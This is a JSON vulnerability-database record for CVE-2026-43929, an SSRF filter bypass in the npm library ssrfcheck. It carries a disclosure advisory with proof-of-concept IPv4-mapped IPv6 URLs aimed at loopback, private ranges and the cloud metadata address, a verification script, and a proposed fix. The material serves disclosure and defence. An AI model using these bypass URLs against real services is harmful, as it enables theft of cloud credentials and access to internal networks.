{"id":"CVE-2026-43929","revision":null,"records":[{"revision":"eeb868413f054677adf6b575f00ad0b7","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-43929","aliases":[],"title":"ssrfcheck: Server-Side Request Forgery (SSRF) and Incomplete List of Disallowed Inputs","description":"ssrfcheck is a library that checks if a string contains a potential SSRF attack. In 1.3.0 and earlier, ssrfcheck fails to block Server-Side Request Forgery attacks when the target private IP address is encoded as an IPv4-mapped IPv6 address (e.g. http://[::ffff:127.0.0.1]/). The WHATWG URL parser built into Node.js silently normalizes the IPv4 notation inside the brackets to compressed hex form ([::ffff:7f00:1]) before the library's private-IP regex ever runs. The regex was written to match dot-notation only and therefore never matches any real input — all seven IANA private IPv4 ranges, including the AWS/GCP/Azure metadata address 169.254.169.254, are bypassed. Any application using isSSRFSafeURL() to guard HTTP requests made with user-supplied URLs is fully exposed to SSRF.","state":0,"publishedAt":"2026-05-12T17:49:12.192+00:00","modifiedAt":"2026-05-13T14:37:49.368+00:00","affected":[{"ecosystem":"Vendor product","name":"ssrfcheck","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"felippe-regazio\",\n                    \"product\": \"ssrfcheck\",\n                    \"versions\": [\n                        {\n                            \"version\": \"<= 1.3.0\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N","score":8.2,"severity":"HIGH"}],"references":["https://github.com/felippe-regazio/ssrfcheck/security/advisories/GHSA-j4rj-2jr5-m439"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-43929","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-43929","identifiers":["CVE-2026-43929"]},"retained":false,"historicalAffected":[]},{"revision":"79da4369b09b40e5a250f96f1c3bc591","observedAt":"2026-11-07T09:37:16.842+00:00","statement":{"source":"euvd","id":"EUVD-2026-29722","aliases":["CVE-2026-43929","GHSA-j4rj-2jr5-m439"],"title":"ssrfcheck is a library that checks if a string contains a potential SSRF attack. In 1.3.0 and earlier, ssrfcheck fails to block Server-Side Request Forgery attacks when the target private IP address is encoded as an IPv4-mapped IPv6 address…","description":"ssrfcheck is a library that checks if a string contains a potential SSRF attack. In 1.3.0 and earlier, ssrfcheck fails to block Server-Side Request Forgery attacks when the target private IP address is encoded as an IPv4-mapped IPv6 address (e.g. http://[::ffff:127.0.0.1]/). The WHATWG URL parser built into Node.js silently normalizes the IPv4 notation inside the brackets to compressed hex form ([::ffff:7f00:1]) before the library's private-IP regex ever runs. The regex was written to match dot-notation only and therefore never matches any real input — all seven IANA private IPv4 ranges, including the AWS/GCP/Azure metadata address 169.254.169.254, are bypassed. Any application using isSSRFSafeURL() to guard HTTP requests made with user-supplied URLs is fully exposed to SSRF.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N","score":8.2,"severity":null}],"references":["https://github.com/felippe-regazio/ssrfcheck/security/advisories/GHSA-j4rj-2jr5-m439"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-29722","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"May 12, 2026, 5:49:12 PM","dateUpdated":"May 13, 2026, 2:37:49 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-29722","identifiers":["EUVD-2026-29722","CVE-2026-43929","GHSA-j4rj-2jr5-m439"]},"retained":false,"historicalAffected":[]},{"revision":"c710603fa6f7459298319d85580b4f81","observedAt":"2026-10-27T11:12:04.713+00:00","statement":{"source":"nvd","id":"CVE-2026-43929","aliases":[],"title":"ssrfcheck is a library that checks if a string contains a potential SSRF attack. In 1.3.0 and earlier, ssrfcheck fails to block Server-Side Request Forgery attacks when the target private IP address is encoded as an IPv4-mapped IPv6 address…","description":"ssrfcheck is a library that checks if a string contains a potential SSRF attack. In 1.3.0 and earlier, ssrfcheck fails to block Server-Side Request Forgery attacks when the target private IP address is encoded as an IPv4-mapped IPv6 address (e.g. http://[::ffff:127.0.0.1]/). The WHATWG URL parser built into Node.js silently normalizes the IPv4 notation inside the brackets to compressed hex form ([::ffff:7f00:1]) before the library's private-IP regex ever runs. The regex was written to match dot-notation only and therefore never matches any real input — all seven IANA private IPv4 ranges, including the AWS/GCP/Azure metadata address 169.254.169.254, are bypassed. Any application using isSSRFSafeURL() to guard HTTP requests made with user-supplied URLs is fully exposed to SSRF.","state":0,"publishedAt":"2026-05-12T18:17:28.97+00:00","modifiedAt":"2026-10-26T18:10:00.173+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N","score":8.2,"severity":"HIGH"}],"references":["https://github.com/felippe-regazio/ssrfcheck/security/advisories/GHSA-j4rj-2jr5-m439"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-43929","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-184","CWE-918"],"productCriteria":[],"sourceDates":{"published":"2026-05-12T18:17:28.970","lastModified":"2026-10-26T18:10:00.173"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-43929","identifiers":["CVE-2026-43929"]},"retained":false,"historicalAffected":[]},{"revision":"ed26b36c30a94652be376f3d8240c462","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-j4rj-2jr5-m439","aliases":["CVE-2026-43929"],"title":"ssrfcheck Vulnerable to Server-Side Request Forgery (SSRF) and Incomplete List of Disallowed Inputs","description":"### Summary\n\n`ssrfcheck` v1.3.0 (latest) fails to block Server-Side Request Forgery attacks when the target private IP address is encoded as an IPv4-mapped IPv6 address (e.g. `http://[::ffff:127.0.0.1]/`). The WHATWG URL parser built into Node.js silently normalizes the IPv4 notation inside the brackets to compressed hex form (`[::ffff:7f00:1]`) before the library's private-IP regex ever runs. The regex was written to match dot-notation only and therefore never matches any real input — all seven IANA private IPv4 ranges, including the AWS/GCP/Azure metadata address `169.254.169.254`, are bypassed. Any application using `isSSRFSafeURL()` to guard HTTP requests made with user-supplied URLs is fully exposed to SSRF.\n\n---\n\n### Details\n\n**Vulnerable file:** `src/is-private-ip.js`\n\nThe library detects IPv6 private addresses using the `privIp6()` function. The relevant portion:\n\n```js\n// src/is-private-ip.js  (lines ~40-60 of the published source)\nfunction privIp6 (ip) {\n  return /^::$/.test(ip) ||\n    /^::1$/.test(ip) ||\n    /^::f{4}:([0-9]{1,3})\\.([0-9]{1,3})\\.([0-9]{1,3})\\.([0-9]{1,3})$/.test(ip) ||\n    /^::f{4}:0.([0-9]{1,3})\\.([0-9]{1,3})\\.([0-9]{1,3})\\.([0-9]{1,3})$/.test(ip) ||\n    /^64:ff9b::([0-9]{1,3})\\.([0-9]{1,3})\\.([0-9]{1,3})\\.([0-9]{1,3})$/.test(ip) ||\n    // ... more patterns, all expect dot-notation ...\n}\n```\n\nThe third line is the IPv4-mapped IPv6 check. It expects input in the form `::ffff:127.0.0.1` (dots). However, the IP is extracted from the URL using `url.hostname`, which goes through the WHATWG URL parser first.\n\n**How WHATWG URL normalizes the address** (`src/parse-url.js`):\n\n```js\nconst url = new URL(normalizeURLStr(input));   // WHATWG URL parser runs here\nconst ipcheck = trimBrackets(url.hostname);    // e.g. '::ffff:7f00:1'  ← hex, no dots\nconst ipVersion = isIP(ipcheck);               // returns 6\n```\n\nThe WHATWG URL spec (§5.3 IPv6 serializer) converts all embedded IPv4 notation to two 16-bit hex groups during parsing:\n\n```\n127.0.0.1       → 0x7f000001 → [0x7f00, 0x0001] → serialized as 7f00:1\n169.254.169.254 → 0xa9fea9fe → [0xa9fe, 0xa9fe] → serialized as a9fe:a9fe\n192.168.1.1     → 0xc0a80101 → [0xc0a8, 0x0101] → serialized as c0a8:101\n```\n\nSo by the time the regex `/^::f{4}:(\\d+)\\.(\\d+)\\.(\\d+)\\.(\\d+)$/` runs, the string it receives is `::ffff:7f00:1` — no dots, no match. The regex has been dead code since Node.js adopted WHATWG URL (v10+).\n\n**Entry point** (`src/index.js`):\n\n```js\nif (hostIsIp && (options.noIP || isLoopbackAddr(ip) || isPrivateIP(ip, ipVersion))) {\n  return false;   // ← never reached for IPv4-mapped IPv6\n}\nreturn true;      // ← always reached → BYPASS\n```\n\n---\n\n### PoC\n\n**Environment:** Node.js >= 10, ssrfcheck any version including v1.3.0 (latest). No configuration required — default options are vulnerable.\n\n**Setup:**\n\n```bash\nmkdir ssrfcheck-poc && cd ssrfcheck-poc\nnpm init -y\nnpm install ssrfcheck\n```\n\n**Step 1 — confirm WHATWG URL normalization:**\n\n```bash\nnode << 'EOF'\nconst addrs = [\n  ['127.0.0.1',       'loopback'],\n  ['169.254.169.254', 'AWS/GCP/Azure metadata'],\n  ['192.168.1.1',     'private LAN'],\n  ['10.0.0.1',        '10.x range'],\n];\nfor (const [ip, label] of addrs) {\n  const h = new URL('http://[::ffff:' + ip + ']/').hostname;\n  console.log(label + ' -> ' + h);\n}\nEOF\n```\n\nExpected output — confirms WHATWG drops dots:\n```\nloopback              -> [::ffff:7f00:1]\nAWS/GCP/Azure metadata -> [::ffff:a9fe:a9fe]\nprivate LAN           -> [::ffff:c0a8:101]\n10.x range            -> [::ffff:a00:1]\n```\n\n**Step 2 — trigger the bypass:**\n\n```bash\nnode << 'EOF'\nconst { isSSRFSafeURL } = require('ssrfcheck');\n\nconst bypasses = [\n  'http://[::ffff:127.0.0.1]/',\n  'http://[::ffff:169.254.169.254]/',\n  'http://[::ffff:192.168.1.1]/',\n  'http://[::ffff:10.0.0.1]/',\n  'http://[::ffff:172.16.0.1]/',\n  'http://[::ffff:7f00:1]/',\n  'http://[0:0:0:0:0:ffff:127.0.0.1]/',\n];\n\nfor (const url of bypasses) {\n  const result = isSSRFSafeURL(url);\n  console.log(result === true ? '[BYPASS]' : '[caught]', url, '->', result);\n}\n\nconsole.log('---');\nconst r1 = isSSRFSafeURL('http://127.0.0.1/');\nconst r2 = isSSRFSafeURL('http://192.168.1.1/');\nconst r3 = isSSRFSafeURL('http://[::1]/');\nconsole.log('127.0.0.1 caught?',   r1 === false);\nconsole.log('192.168.1.1 caught?', r2 === false);\nconsole.log('[::1] caught?',        r3 === false);\nEOF\n```\n\n**Confirmed output (live-verified on Node.js v20.20.2, ssrfcheck v1.3.0, Zorin OS Linux, 2026-04-12):**\n\n```\n[BYPASS] http://[::ffff:127.0.0.1]/           -> true\n[BYPASS] http://[::ffff:169.254.169.254]/     -> true\n[BYPASS] http://[::ffff:192.168.1.1]/         -> true\n[BYPASS] http://[::ffff:10.0.0.1]/            -> true\n[BYPASS] http://[::ffff:172.16.0.1]/          -> true\n[BYPASS] http://[::ffff:7f00:1]/              -> true\n[BYPASS] http://[0:0:0:0:0:ffff:127.0.0.1]/  -> true\n---\n127.0.0.1 caught?   true\n192.168.1.1 caught? true\n[::1] caught?        true\n```\n\n7/7 private-range variants bypass the check. Baseline dot-notation detections remain intact, confirming the bug is specific to the WHATWG normalization path.\n\n**Full automated verification script (`verify-ssrfcheck.js`):**\n\n```js\n#!/usr/bin/node\n// ssrfcheck bypass verification script\n// Tests CWE-918 via IPv4-mapped IPv6 WHATWG URL normalization\n\nconst { isSSRFSafeURL } = require('ssrfcheck');\n\nconst RED   = '\\x1b[31m';\nconst GREEN = '\\x1b[32m';\nconst CYAN  = '\\x1b[36m';\nconst DIM   = '\\x1b[2m';\nconst RESET = '\\x1b[0m';\n\nconst BYPASSES = [\n  { url: 'http://[::ffff:127.0.0.1]/',         label: 'loopback   (127.0.0.1)' },\n  { url: 'http://[::ffff:169.254.169.254]/',   label: 'AWS meta   (169.254.169.254)' },\n  { url: 'http://[::ffff:192.168.1.1]/',       label: 'LAN        (192.168.1.1)' },\n  { url: 'http://[::ffff:10.0.0.1]/',          label: '10.x range (10.0.0.1)' },\n  { url: 'http://[::ffff:172.16.0.1]/',        label: '172.16.x   (172.16.0.1)' },\n  { url: 'http://[::ffff:7f00:1]/',            label: 'hex form   (direct)' },\n  { url: 'http://[0:0:0:0:0:ffff:127.0.0.1]/', label: 'expanded   (0:0:0:0:0:ffff:127.0.0.1)' },\n];\n\nconst BASELINE = [\n  { url: 'http://127.0.0.1/',    label: 'dotted loopback', expectFalse: true },\n  { url: 'http://192.168.1.1/',  label: 'private LAN',     expectFalse: true },\n  { url: 'http://[::1]/',        label: 'IPv6 loopback',   expectFalse: true },\n  { url: 'https://example.com/', label: 'public domain',   expectFalse: false },\n];\n\nconsole.log(`\\n${CYAN}=== ssrfcheck v1.3.0 — bypass verification ===${RESET}`);\nconsole.log(`${DIM}Node.js ${process.version}${RESET}\\n`);\n\nconsole.log(`${CYAN}[STEP 1] WHATWG URL hostname normalization${RESET}`);\nfor (const { url } of BYPASSES) {\n  const parsed = new URL(url);\n  console.log(`  ${url.padEnd(45)} -> hostname: ${parsed.hostname}`);\n}\n\nconsole.log(`\\n${CYAN}[STEP 2] isSSRFSafeURL() results (all should return false)${RESET}`);\nlet bypassed = 0;\nfor (const { url, label } of BYPASSES) {\n  const result = isSSRFSafeURL(url);\n  if (result === true) bypassed++;\n  const tag = result === true\n    ? `${RED}[BYPASS]${RESET}`\n    : `${GREEN}[caught]${RESET}`;\n  console.log(`  ${tag} ${label.padEnd(30)} -> isSSRFSafeURL() = ${result}`);\n}\n\nconsole.log(`\\n${CYAN}[STEP 3] Baseline checks${RESET}`);\nfor (const { url, label, expectFalse } of BASELINE) {\n  const result = isSSRFSafeURL(url);\n  const ok = (expectFalse ? result === false : result === true);\n  const tag = ok ? `${GREEN}[OK]${RESET}    ` : `${RED}[FAIL]${RESET}  `;\n  console.log(`  ${tag} ${label.padEnd(20)} -> isSSRFSafeURL() = ${result}`);\n}\n\nconsole.log(`\\n${bypassed === BYPASSES.length ? RED : GREEN}=== ${bypassed}/${BYPASSES.length} bypasses confirmed ===${RESET}\\n`);\nprocess.exit(bypassed === BYPASSES.length ? 1 : 0);\n```\n\nRun:\n```bash\nnode verify-ssrfcheck.js\n# exit code 1 = bypasses confirmed (vulnerable)\n# exit code 0 = all caught (fixed)\n```\n# VIDEO POC ASCII CAST\n\n[![asciicast](https://asciinema.org/a/CxTKMwrlcHUUbQT8.svg)](https://asciinema.org/a/CxTKMwrlcHUUbQT8)\n\n--\n\n### Impact\n\n**Vulnerability type:** Server-Side Request Forgery (SSRF) — complete protection bypass\n\n**Who is impacted:** Any Node.js application that:\n1. Accepts a URL from an untrusted source (user input, API parameter, webhook payload)\n2. Uses `isSSRFSafeURL()` from `ssrfcheck` to validate that URL before making an outbound HTTP request\n3. Runs on Node.js >= 10 (WHATWG URL parser enabled — all supported versions as of 2026)\n\n**Concrete impact scenarios:**\n\n- **Cloud metadata theft:** On AWS, GCP, or Azure, attacker sends `http://[::ffff:169.254.169.254]/latest/metadat \n- **Internal network pivoting:** Attacker reaches services on `10.x.x.x`, `172.16.x.x`, `192.168.x.x` that are not exposed to the internet, bypassing the only protection layer.\n- **Localhost access:** Attacker reaches `http://[::ffff:127.0.0.1]/admin` or any service bound to loopback on the server.\n\nThe bypass requires no authentication, no special privileges, and no non-default configuration. It works against every version of ssrfcheck on every Node.js version >= 10.\n\n\n## Weaknesses\n\n**CWE-918** — Server-Side Request Forgery (SSRF)\n**CWE-184** — Incomplete List of Disallowed Inputs\n\n---\n\n## Suggested Fix\n\nReplace the hand-rolled regex denylist in `src/is-private-ip.js` with Node's built-in `net.BlockList`, which operates on parsed IP values and is immune to string representation differences:\n\n```diff\n- function privIp6 (ip) {\n-   return /^::$/.test(ip) ||\n-     /^::1$/.test(ip) ||\n-     /^::f{4}:([0-9]{1,3})\\.([0-9]{1,3})\\.([0-9]{1,3})\\.([0-9]{1,3})$/.test(ip) ||\n-     /^::f{4}:0.([0-9]{1,3})\\.([0-9]{1,3})\\.([0-9]{1,3})\\.([0-9]{1,3})$/.test(ip) ||\n-     ...\n- }\n\n+ const { BlockList } = require('net');\n+\n+ const _ipv6Block = new BlockList();\n+ _ipv6Block.addAddress('::',          'ipv6');          // unspecified\n+ _ipv6Block.addAddress('::1',         'ipv6');          // loopback\n+ _ipv6Block.addSubnet('::ffff:0:0',   96, 'ipv6');      // ALL IPv4-mapped — catches any private IPv4 in any notation\n+ _ipv6Block.addSubnet('64:ff9b::',    96, 'ipv6');      // NAT64\n+ _ipv6Block.addSubnet('fc00::',        7, 'ipv6');      // ULA\n+ _ipv6Block.addSubnet('fe80::',       10, 'ipv6');      // link-local\n+ _ipv6Block.addSubnet('ff00::',        8, 'ipv6');      // multicast\n+ _ipv6Block.addSubnet('100::',        64, 'ipv6');      // IETF reserved\n+ _ipv6Block.addSubnet('2001::',       32, 'ipv6');      // Teredo\n+ _ipv6Block.addSubnet('2001:db8::',   32, 'ipv6');      // documentation\n+ _ipv6Block.addSubnet('2002::',       16, 'ipv6');      // 6to4\n+\n+ function privIp6(ip) {\n+   try { return _ipv6Block.check(ip, 'ipv6'); }\n+   catch { return false; }\n+ }\n```\n\nThe `::ffff:0:0/96` subnet entry covers the entire IPv4-mapped IPv6 space in a single rule. `BlockList.check()` parses the IP numerically, so it is unaffected by WHATWG URL normalization or any other string representation.","state":0,"publishedAt":"2026-05-05T20:29:33+00:00","modifiedAt":"2026-05-13T16:35:55.569468+00:00","affected":[{"ecosystem":"npm","name":"ssrfcheck","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"last_affected","version":"1.3.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/felippe-regazio/ssrfcheck/security/advisories/GHSA-j4rj-2jr5-m439","https://nvd.nist.gov/vuln/detail/CVE-2026-43929","https://github.com/felippe-regazio/ssrfcheck"],"sourceUrl":"https://github.com/advisories/GHSA-j4rj-2jr5-m439","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-j4rj-2jr5-m439","identifiers":["GHSA-j4rj-2jr5-m439","CVE-2026-43929"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-07T16:07:52.6079466+00:00","complete":true,"records":1769,"lastAttemptAt":"2026-11-07T16:07:52.6079466+00:00","lastSuccessAt":"2026-11-07T16:07:52.8396759+00:00","error":null,"lastVerifiedAt":"2026-11-07T16:07:52.8396778+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-bb5c9d5a08063ef076042e33dd72a7d0ffa4c4487efdcf3106e29ba55ec2ad57-c173d89a3f1a0bdb31cd68e866be332a5016302f586ede89a35ec193ac99504a","complete":true,"records":420933,"lastAttemptAt":"2026-11-07T16:07:52.127477+00:00","lastSuccessAt":"2026-11-07T16:07:52.0557652+00:00","error":null,"lastVerifiedAt":"2026-11-07T16:07:52.127477+00:00","snapshotPublishedAt":"2026-11-07T15:22:48+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-bee3dfbd77fe4043986590b0e0b76259","complete":true,"records":13633,"lastAttemptAt":"2026-11-07T16:18:44.6437051+00:00","lastSuccessAt":"2026-11-07T16:18:44.639+00:00","error":null,"lastVerifiedAt":"2026-11-07T16:18:44.639+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13685,"expectedIdentifiers":13685,"failedIdentifiers":0},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-07T16:07:52.6079466+00:00","complete":true,"records":1096,"lastAttemptAt":"2026-11-07T16:07:52.6079466+00:00","lastSuccessAt":"2026-11-07T16:07:58.5710341+00:00","error":null,"lastVerifiedAt":"2026-11-07T16:07:58.5710358+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-e1c431e1022f4db1b4e459e61c31a4ca","complete":true,"records":13645,"lastAttemptAt":"2026-11-07T16:08:00.6485737+00:00","lastSuccessAt":"2026-11-07T16:08:00.644+00:00","error":null,"lastVerifiedAt":"2026-11-07T16:08:00.644+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13685,"expectedIdentifiers":13685,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-0eb4d6dde62dffacd040ad992d4fd5a65cd7d0dc5f5f4cfa8b41967fc6f9ca5f","complete":true,"records":9914,"lastAttemptAt":"2026-11-07T16:07:52.5107257+00:00","lastSuccessAt":"2026-11-06T20:10:36.6450506+00:00","error":null,"lastVerifiedAt":"2026-11-07T16:07:52.5107257+00:00","snapshotPublishedAt":"2026-11-06T20:02:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-fde804134ecdda0ddd5ff5c26ee1fff5a6fa659311f7ef2e51c6ad54964db0e2","complete":true,"records":1971,"lastAttemptAt":"2026-11-07T16:07:52.2947928+00:00","lastSuccessAt":"2026-11-06T19:03:17.0399903+00:00","error":null,"lastVerifiedAt":"2026-11-07T16:07:52.2947928+00:00","snapshotPublishedAt":"2026-11-06T18:17:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-335633e78a15c9cde10a6025895b5617717087fb945489ae7e15d377bacf34a9","complete":true,"records":3055,"lastAttemptAt":"2026-11-07T16:07:52.5258708+00:00","lastSuccessAt":"2026-11-06T16:03:00.7615789+00:00","error":null,"lastVerifiedAt":"2026-11-07T16:07:52.5258708+00:00","snapshotPublishedAt":"2026-11-06T16:02:48+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-40ad6183a951565ace1520a9b4d631e1d0bfb1d4bf7c5574c375032559f3ff53","complete":true,"records":231292,"lastAttemptAt":"2026-11-07T16:07:52.4004477+00:00","lastSuccessAt":"2026-11-07T10:29:00.4821259+00:00","error":null,"lastVerifiedAt":"2026-11-07T16:07:52.4004477+00:00","snapshotPublishedAt":"2026-11-07T09:32:47+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}